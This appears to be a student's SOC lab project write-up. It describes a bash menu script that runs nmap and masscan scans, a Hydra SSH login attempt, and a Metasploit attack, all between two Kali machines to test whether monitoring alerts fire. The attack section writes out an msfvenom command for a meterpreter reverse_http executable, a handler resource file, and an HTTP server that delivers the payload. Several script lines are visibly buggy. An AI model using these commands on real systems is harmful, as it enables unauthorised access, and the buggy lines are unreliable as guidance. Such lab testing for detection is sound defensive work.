Edwin’s SOC Analyst project …

Contents

Purpose:

Create a script that runs different cyber attacks in a given network to check if monitoring alerts appear.

Step 1: Install the tools on the new computer.

Step 2: Execute Scans of the network.

Step 3: Execute attacks on the network

Step 4: Able to view logs of the scan and attacks

Purpose

Create a script that runs different cyber attacks in a given network to check if monitoring alerts appear.

Disclaimer

I will be simulating the attacks and scans using 2 Kali Linux machines

As for the pass.lst and urid.lst, they will be generated using crunch.

The choice system for the script

- Have a case command here will allow the user to choose between attacking, scanning and reading the logs or results
- I included the quit command, to close the menu. However it serves no real purpose in this case.
- By using a generic script, a simple copy and paste for all the options would have sufficed, however I only discover that while doing the viewing portion.
- This portion also acts as a sort of skeleton for the script, as it helps me to keep track of what is at where.
- For the Viewing script, I decided to try out using case instead of IF, because I wanted to explore the different effects of the script and see which one will give a more consistent result.

```
# secondly we will establish our target. for this case, I would be using the IP of another machine
## however, this script can be used by inserting the target's information
echo " what is the target IP?"
read tarip

Startmenu="What would you like to do? : "
echo $Startmenu

read -p "What would you like to do? Scan, Attack, View logs, View Results or Quit  " job
    case $job in
        "Scan")
            choosescantype
            ;;
        "Attack")
            chooseattacktype
            ;;
        "Quit")
           echo "JOB's DONE"
            ;;
   "View Results")
       read -p "what results would you like to view? nmap, masscan, msfconsole or hydra " viewR
       case $viewR in
           nmap)
                   cat nmap_results.txt
           ;;
           masscan)
                   cat masscan_results.txt
           ;;
           msfconsole)
                   cat amsf_results.txt
           ;;
           hydra)
                   cat hydra_results.txt
           ;;
           esac
       ;;

   "View logs")
       read -p "what Logs would you like to view? nmap, masscan, msfconsole or hydra " viewL
       case $viewL in
           nmap)
                   cat nmap_log.txt
           ;;
           masscan)
                   cat masscan_log.txt
           ;;
           msfconsole)
                   cat amsf_log.txt
           ;;
           hydra)
                   cat hydra_log.txt
           ;;
           esac

       ;;
esac
```

The choice of Scan to do

So to allow the user to further be able to choose what scans they can do, we have a function that uses the if command to make a condition if fulfilled that will run the respective script for the respective choice.

```
function choosescantype()
    {

        echo " what kind of scan would you like to do ?: nmap, masscan or msfconsole?"
            read scanmeth
                if [ $scanmeth == nmap ]
                then
                scannernmap
                fi

                if [ $scanmeth == msfconsole ]
                then
                scannermsf
                fi

                if [ $scanmeth == masscan ]
                then
                scannerms
                fi

    }
```

I realised that using the IF statement, it reduces the chance for the script to go somewhere else.

Step 1

Installing relevant tools for the job.

-These tools are the basic tools that most Scripts need.

-Installing scanners, the 2 scanners we are using are the nmap and massan

-installing the attacks, the 2 attacks we will be using, is the msfconsole and hydra

```
function instools()
{
    echo "Installing the tools for the job"
    echo "-----Installing GEANY-----"
    sudo apt-get install -y geany
    echo "-----Installing CURL-----"
    sudo apt-get install curl
    echo "-----Installing whois-----"
    sudo apt-get install whois
    echo "-----Installing SSHPASS-----"
    sudo apt-get install net-tools
    echo "-----Removing files that are not required-----"
    sudo apt autoremove
    echo "-----------------------------------------------"

}

function inscanner()
{
    echo "-----Installing NMAP-----"
    sudo apt-get install -y nmap
    echo "-----Installing masscan-----"
    sudo apt-get install -y masscan
    echo "-----Installing msfconsole-----"
    sudo apt-get install -y msfconsole
}

function inspayloads
{
    echo "-----Installing msfconsole-----"
    sudo apt-get install -y dsniff
    echo "-----Installing msfconsole-----"
    sudo apt-get install -y
}
```

Step 1, some additional stuff that was add

The forupdate function is solely used to make sure the machine being used is updated to the latest version.

```
function forupdate()
    {
        sudo apt-get -y update
        sudo apt-get -y upgrade
    }

function crefldr()
    {
        mkdir SOCprobase
        cd SOCprobase
    }
```

The creflr function, it will always make a folder to contain all the workings and processes within the folder, so that the user can delete the folder and files inside all at 1 go.

Step 2 Scanning the network or machine we are connected to

Nmap

I decided to do functions for most of the portions so that i could troubleshoot easily.

The script

```
function scannernmap()
    {
        echo "Starting NMAP, what IP would you like to scan ?"
        read tarip
        nmap $tarip -p 80 -oG nmap_results.txt
        lognmap
    }
```

The menu area

```
What would you like to do? A) Scan, B) Attack, C) View logs, D) View Results or Quit  A
 what kind of scan would you like to do ?: nmap, masscan or msfconsole?
nmap
Starting NMAP, what IP would you like to scan ?
192.168.75.128
```

The results

```
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-18 06:37 EST
Nmap scan report for 192.168.75.128
Host is up (0.00040s latency).

PORT   STATE  SERVICE
80/tcp closed http

Nmap done: 1 IP address (1 host up) scanned in 0.05 seconds
/home/kali/SOCprobase
```

The log entry

```
Fri Nov 18 07:25:42 AM EST 2022
kali
nmap: 192.168.75.128
```

Step 2 Scanning the network or machine we are connected to

Masscan

The script

```
function scannerms()
    {
        echo "Starting MASSCAN, what IP would you like to scan ?"
        read tarip
        echo "Please Indicate what ports you would like to scan for: format XXXX-XXXX"
        read tarports
        sudo masscan $tarip -p$tarports >> masscan_results.txt
        echo "$now ; masscan; $tarip -p 80" >> masscan_log.txt
    }
```

I used the $now which stores the data of the current date time

The menu area

```
What would you like to do? A) Scan, B) Attack, C) View logs, D) View Results or Quit  A
 what kind of scan would you like to do ?: nmap, masscan or msfconsole?
masscan
Starting MASSCAN, what IP would you like to scan ?
192.168.75.128
Please Indicate what ports you would like to scan for: format XXXX-XXXX
0000-0800
```

The results

```
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2022-11-18 12:54:33 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [801 ports/host]
/home/kali/SOCprobase
```

The log entry

```
Fri Nov 18 07:56:46 AM EST 2022 ; masscan; 192.168.75.128 -p 80
```

Step 3 Hydra attack

Hydra

The script

```
function attackhydra()
{
    echo "please provide the following information"
            echo "what is the userID?"
            read urid
            echo "what is the Password?"
            read urpw
            echo "what is the Service name?"
            read ursve
            echo "what is the IP address?"
            read urip
            hydra  -l urid -p urpw $urip $ursve -vV
            echo "$now ; hydra ; $tarip -l $urid -p $urpw $urip $ursve" >> hydra_log.txt
```

The menu area

```
What would you like to do? A) Scan, B) Attack, C) View logs, D) View Results or Quit  B
 Hydra, msfconsole or mitm?
Hydra
please provide the following information
what is the userID?
kali
what is the Password?
kali
what is the Service name?
ssh
what is the IP address?
192.168.75.128
```

The results

```
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-11-18 08:14:48
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking ssh://192.168.75.128:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://urid@192.168.75.128:22
[INFO] Successful, password authentication is supported by ssh://192.168.75.128:22
[ATTEMPT] target 192.168.75.128 - login "urid" - pass "urpw" - 1 of 1 [child 0] (0/0)
[STATUS] attack finished for 192.168.75.128 (waiting for children to complete tests)
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-11-18 08:14:51
/home/kali/SOCprobase
```

The log entry

```
Fri Nov 18 08:35:36 AM EST 2022 ; hydra ;  -l kali -p kali 192.168.75.128 ssh
```

Step 3 msfconsole

msfconsole

By far one of the more difficult to troubleshoot.

So to explain the script, having the user to manually input both the IP, allows the user to play a very targeted scenario.

And with the -r flag, we are able to have the msfconsole read off the .rc file instead of us manually typing in all of the commands.

The log entry

The script

```
function attackmsf()
    {
        # create a reverse payload
        echo "What is the host IP?"
        read hostIP
        echo "What is the target IP?"
        read tarip

        msfvenom -p multi/meterpreter/reverse_http lhost=$hostIP lport=8282 -f exe -o rev8282.exe

        # to create the listener by creating a resource file and appending the commands into the resource file
        echo 'use exploit/multi/handle' > attack_msf.rc
        echo 'set payload payload/multi/meterpreter/reverse_http' >> attack_msf.rc
        echo 'set lhost to $tarip' >> attack_msf.rc
        echo 'set lport to 8282' >> attack_msf.rc
        echo 'run' >> attack_msf.rc
        echo 'exit' >> attack_msf.rc

        # the command below runs the script above, specifically with the -r arguement.
        msfconsole -r attack_msf.rc -o amsf_results.txt
        echo "Press ctrl + c to stop listening"
        sudo python3 -m http.server 8282
    }
```

The menu area

```
What would you like to do? A) Scan, B) Attack, C) View logs, D) View Results or Quit  B
 Hydra, msfconsole or mitm?
msfconsole
What is the host IP?
192.168.75.138
What is the target IP?
192.168.75.128
```

The results

```
[-] No platform was selected, choosing Msf::Module::Platform::Multi from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 0 bytes
Final size of exe file: 73802 bytes
Saved as: rev8282.exe

Press ctrl + c to stop listening
Serving HTTP on 0.0.0.0 port 8282 (http://0.0.0.0:8282/) ...
192.168.75.128 - - [18/Nov/2022 09:03:19] "GET / HTTP/1.1" 200 -
192.168.75.128 - - [18/Nov/2022 09:03:19] code 404, message File not found
192.168.75.128 - - [18/Nov/2022 09:03:19] "GET /favicon.ico HTTP/1.1" 404 -
192.168.75.128 - - [18/Nov/2022 09:03:30] "GET /rev8282.exe HTTP/1.1" 200 -
```

```
kali
Fri Nov 18 09:11:35 AM EST 2022 : msf : 192.168.75.128 : -r attack_msf.rc -o amsf_results.txt
```

Things I can Improve on

- Time management.
- Using an actual menu, which will then reduce the need to type out the choices.
- Having the option of going back to the previous menu.
- Having my script actually following a flow.
- And instead of having it close the script immediately, we can have it loop back to the main menu.
- If an error occurs, allow the user to retry, and not close the script.
- Refine the logging system